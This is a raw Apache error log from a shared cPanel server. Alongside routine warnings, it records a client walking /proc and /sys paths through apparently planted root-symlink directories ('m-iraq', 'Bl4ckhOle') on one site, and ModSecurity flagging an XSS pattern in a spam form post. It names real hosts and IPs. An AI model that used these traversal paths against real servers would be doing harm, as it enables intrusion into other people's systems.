[Fri Jul 17 08:14:56.215259 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:56.418194 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almXJ90t9Kb_MdNxrg68ZwAAAAM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1045&page_105=1519
[Fri Jul 17 08:14:56.418224 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almXJ90t9Kb_MdNxrg68ZwAAAAM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1045&page_105=1519
[Fri Jul 17 08:14:56.597723 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:56.697930 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/security/integrity/ima/violations
[Fri Jul 17 08:14:57.004357 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:57.289916 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:57.506948 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:57.793284 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:57.884121 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:58.560599 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:58.851076 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:59.037732 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:0c/eject
[Fri Jul 17 08:14:59.189177 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:59.236987 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:59.286696 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:57456] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:59.526214 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:59.716226 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/db/nscd/netgroup
[Fri Jul 17 08:14:59.967109 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:57472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:00.178676 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:00.324618 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:00.359542 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/0-0/instance
[Fri Jul 17 08:15:00.526228 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:14/subsystem/drivers/button/bind
[Fri Jul 17 08:15:05.186661 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/fd/8
[Fri Jul 17 08:15:05.264764 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/drivers/clk-pmc-atom/unbind
[Fri Jul 17 08:15:05.378931 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.039583 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.519415 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.768592 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.885890 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.886053 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.886144 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.886221 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.886289 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.886364 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.886428 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.934638 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.934718 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.934768 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:06.949989 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:07.418758 2026] [ssl:error] [pid 2005917:tid 2005917] (5)Input/output error: [client 66.85.158.91:58460] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:07.588015 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:07.678459 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:07.728286 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:07.861724 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty48/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 08:15:07.951625 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:07.978645 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:58484] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:08.224432 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty5/uevent"] [unique_id "almXNIha5y5fYnQ1qRrtNwAAAAE"]
[Fri Jul 17 08:15:08.224481 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty5/uevent"] [unique_id "almXNIha5y5fYnQ1qRrtNwAAAAE"]
[Fri Jul 17 08:15:08.314724 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:08.497615 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:08.797743 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:58558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:08.969270 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:09.228434 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty14/subsystem/ttyS3/flags
[Fri Jul 17 08:15:09.318943 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/subsystem/drivers/ec/bind
[Fri Jul 17 08:15:09.410337 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:09.504979 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:09.594555 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:09.704024 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/dev/char/4:66/closing_wait
[Fri Jul 17 08:15:09.869012 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty6/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 08:15:10.050275 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:10.233357 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:10.508962 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:10.690862 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/security/integrity/ima/policy
[Fri Jul 17 08:15:10.801602 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:11.075388 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:11.153968 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:11.249799 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:11.619684 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:11.700394 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:12.430205 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:12.430302 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:12.430354 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:12.430436 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:12.430463 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:12.430532 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:12.612973 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:12.793000 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/physical_node/subsystem/rescan
[Fri Jul 17 08:15:12.883172 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:13.067708 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:13.156889 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:13.247134 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/17-0/instance
[Fri Jul 17 08:15:13.338721 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty9/subsystem/ttyS2/flags
[Fri Jul 17 08:15:13.378271 2026] [security2:error] [pid 1999089:tid 1999089] [client 84.54.44.204:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almXOUMCK1PbyQ2qe6D_yAAAABQ"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:15:13.380177 2026] [security2:error] [pid 1999089:tid 1999089] [client 84.54.44.204:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:enquiry. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd0\\xb8\\xd0\\xbd\\xd0\\xb0\\xd1\\x82 tarkett woodstock family 833 \\xd0\\xb4\\xd1\\x83\\xd0\\xb1 \\xd0\\xba\\xd0\\xb0\\xd1\\x88\\xd1\\x82\\xd0\\xb0\\xd0\\xbd\\xd0\\xbe found within ARGS:enquiry: \\xd0\\x9b\\xd0\\xb0\\xd0\\xbc\\xd0\\xb8\\xd0\\xbd\\xd0\\xb0\\xd1\\x82 tarkett woodstock family 833 \\xd0\\xb4\\xd1\\x83\\xd0\\xb1 \\xd0\\xba\\xd0\\xb0\\xd1\\x88\\xd1\\x82\\xd0\\xb0\\xd0\\xbd\\xd0\\xbe\\xd0\\xb2\\xd1\\x8b\\xd0\\xb9 \\xd0\\xbb\\xd1\\x8e\\xd0\\xba\\xd1\\x81 504044074 https://good-stroy.net/magazin/folder/nasosy-pogruzhnye-vityaz\\x0d\\x0a \\x0d\\x0a\\xd0\\x..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almXOUMCK1PbyQ2qe6D_yAAAABQ"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:15:13.381866 2026] [security2:error] [pid 1999089:tid 1999089] [client 84.54.44.204:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almXOUMCK1PbyQ2qe6D_yAAAABQ"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:15:13.429405 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:13.799363 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/physical_node/driver/uevent
[Fri Jul 17 08:15:14.478257 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:14.641686 2026] [security2:error] [pid 1999089:tid 1999089] [client 84.54.44.204:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almXOUMCK1PbyQ2qe6D_yAAAABQ"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:15:14.868331 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:14.968585 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:15.617738 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:15.710830 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:15.821873 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:16.095712 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:16.563027 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:16.749011 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:16.840739 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/sysimgblt/sections/__ksymtab
[Fri Jul 17 08:15:17.377622 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:18.200829 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:18.670259 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:18.958488 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:19.138679 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:19.882767 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:20.609964 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:20.705917 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:21.434651 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:21.575450 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:21.800484 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/10:232/subsystem/snapshot/power/runtime_status"] [unique_id "almXQQ5GPQ6hs4VrfMo7tQAAAAY"]
[Fri Jul 17 08:15:21.800519 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/10:232/subsystem/snapshot/power/runtime_status"] [unique_id "almXQQ5GPQ6hs4VrfMo7tQAAAAY"]
[Fri Jul 17 08:15:21.945665 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:23.108730 2026] [core:error] [pid 1993659:tid 1993659] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/net/netlink
[Fri Jul 17 08:15:23.199862 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:24.118098 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:24.942518 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:25.221122 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:38652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:25.409494 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:25.603722 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:38684] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:25.867296 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:26.230601 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:26.418407 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:26.601303 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:26.781547 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:26.873533 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:26.964875 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:27.609394 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:27.705834 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:27.798816 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:27.888792 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:28.437134 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:28.528148 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:28.658089 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:28.860122 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:28.982031 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:38838] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:15:29.082552 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:08/physical_node/remove
[Fri Jul 17 08:15:29.085377 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.160575 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.171209 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.333707 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.402928 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.442002 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.508341 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.530519 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.531546 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.831346 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:29.927199 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:30.110908 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:30.195591 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:30.236685 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:30.655022 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:30.748135 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:31.018965 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:31.122865 2026] [security2:error] [pid 1993675:tid 1993675] [client 57.141.18.23:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory106/node0/memory109/node0/memory111/node0/memory56/subsystem/"] [unique_id "almXSziSeFVxYLkcq6IbUQAAAAc"]
[Fri Jul 17 08:15:31.122895 2026] [security2:error] [pid 1993675:tid 1993675] [client 57.141.18.23:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory106/node0/memory109/node0/memory111/node0/memory56/subsystem/"] [unique_id "almXSziSeFVxYLkcq6IbUQAAAAc"]
[Fri Jul 17 08:15:31.257070 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:31.432793 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:31.523061 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:31.537995 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:31.758868 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:31.998038 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:32.113533 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:15:32.233900 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 47.82.8.181:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:28/subsystem/ttyS0/device/driver/bind
